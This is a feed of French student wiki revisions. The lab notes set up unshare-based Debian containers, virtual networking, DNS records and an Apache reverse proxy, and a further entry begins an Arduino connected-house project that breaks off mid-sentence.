&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
Nom : tham2&lt;br /&gt;
IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
Nom : tham1 &amp;amp; tham3&lt;br /&gt;
Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47792</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47792"/>
				<updated>2018-11-19T11:50:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
mkdir /tmp/rootfs1&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
cp disc1.img disc2.img&lt;br /&gt;
cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 master interne&lt;br /&gt;
ip link set vif2 master interne&lt;br /&gt;
ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 up&lt;br /&gt;
ip link set vif2 up&lt;br /&gt;
ip link set vif3 up&lt;br /&gt;
ip link set bridge up&lt;br /&gt;
ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth0 up&lt;br /&gt;
ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
interne	: vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
Nom : tham2&lt;br /&gt;
IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
Nom : tham1 &amp;amp; tham3&lt;br /&gt;
Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	ServerName tham1.plil.space&lt;br /&gt;
	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
&lt;br /&gt;
	ProxyPass / http://192.168.4.2/&lt;br /&gt;
	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
	ProxyRequests Off&lt;br /&gt;
&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName tham3.plil.space&lt;br /&gt;
    ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
	&lt;br /&gt;
    ProxyPass / http://192.168.4.3/&lt;br /&gt;
    ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
    ProxyRequests Off&lt;br /&gt;
&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
a2enmod proxy&lt;br /&gt;
a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
cat 1 /var/www/html/index.html&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
cat 3 /var/www/html/index.html&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47782</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47782"/>
				<updated>2018-11-19T11:31:35Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : Page créée avec « =Séance 1= Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.  ==Création d'un container==  ===Créatio... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
mkdir /tmp/rootfs1&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
cp disc1.img disc2.img&lt;br /&gt;
cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 master interne&lt;br /&gt;
ip link set vif2 master interne&lt;br /&gt;
ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 up&lt;br /&gt;
ip link set vif2 up&lt;br /&gt;
ip link set vif3 up&lt;br /&gt;
ip link set bridge up&lt;br /&gt;
ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth0 up&lt;br /&gt;
ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
interne	: vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44334</id>
		<title>Projet IMA3 P2, 2016/2017, TD1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44334"/>
				<updated>2017-06-18T22:30:18Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séances supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Maison connectée =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.&lt;br /&gt;
&lt;br /&gt;
* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...&lt;br /&gt;
&lt;br /&gt;
* Tout étant géré à la fois via une interface web et une application Android.  &lt;br /&gt;
&lt;br /&gt;
* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome. &lt;br /&gt;
&lt;br /&gt;
* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)&lt;br /&gt;
&lt;br /&gt;
=== Liste des fonctions à réaliser ===&lt;br /&gt;
* Mesure de la température (en °C) et de la luminosité (en lux).&lt;br /&gt;
&lt;br /&gt;
* Détection de mouvement pour l'éclairage et les intrusions.&lt;br /&gt;
&lt;br /&gt;
* Communication des informations sur une page web et une application Android.&lt;br /&gt;
&lt;br /&gt;
* Automatisation de la commande de chauffage et d'éclairage.&lt;br /&gt;
&lt;br /&gt;
* Automatisation des entrées et sorties de la maison (porte de garage..)&lt;br /&gt;
&lt;br /&gt;
* Prévision de la consommation&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
Pour mener à bien ce projet il nous faudra :&lt;br /&gt;
&lt;br /&gt;
* Raspberry PI3&lt;br /&gt;
&lt;br /&gt;
* Carte SD 8GB&lt;br /&gt;
&lt;br /&gt;
* Arduino Nano&lt;br /&gt;
&lt;br /&gt;
* Servo-moteur&lt;br /&gt;
&lt;br /&gt;
* Capteur de luminosité, capteur de température (pour Arduino)&lt;br /&gt;
&lt;br /&gt;
* 5 leds&lt;br /&gt;
&lt;br /&gt;
* module peltier et un radiateur &lt;br /&gt;
&lt;br /&gt;
* Transformateur 230V/12V&lt;br /&gt;
&lt;br /&gt;
* Relais 3.3V&lt;br /&gt;
&lt;br /&gt;
* Capteur PIR (Passive Infra-Rouge)&lt;br /&gt;
&lt;br /&gt;
* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino &amp;gt; tension seuil LED)&lt;br /&gt;
&lt;br /&gt;
*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :&lt;br /&gt;
&lt;br /&gt;
   Nuit de pleine lune : 0,5 lux&lt;br /&gt;
   Rue de nuit bien éclairée :20 à 70 lux&lt;br /&gt;
   Local de vie : 100 à 200 lux&lt;br /&gt;
   Appartement bien éclairé : 200 à 400 lux&lt;br /&gt;
   Local de travail : 200 à 3 000 lux&lt;br /&gt;
   Stade de nuit : 150 à 1 500 lux&lt;br /&gt;
   Extérieur par ciel couvert : 500 à 25 000 lux&lt;br /&gt;
   Extérieur en plein soleil : 50 000 à 100 000 lux&lt;br /&gt;
&lt;br /&gt;
Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant : &lt;br /&gt;
   [[Fichier:arduino_ldr_schéma.jpeg]]&lt;br /&gt;
&lt;br /&gt;
La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu : &lt;br /&gt;
   [[Fichier:capture_serial_term_ldr.jpg]]&lt;br /&gt;
&lt;br /&gt;
N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.&lt;br /&gt;
&lt;br /&gt;
*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes : &lt;br /&gt;
&lt;br /&gt;
   - Tension d'entrée: 2,7 à 5,5 Vcc&lt;br /&gt;
   - 10 mV/°C&lt;br /&gt;
   - Précision: ±2°C &lt;br /&gt;
   - Linéarité: 0,5°C&lt;br /&gt;
   - Plage d'utilisation: -40°C à +125°C &lt;br /&gt;
&lt;br /&gt;
Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.&lt;br /&gt;
&lt;br /&gt;
*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe. &lt;br /&gt;
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.&lt;br /&gt;
&lt;br /&gt;
*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur (&amp;quot;reste à 45°&amp;quot; par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino : &lt;br /&gt;
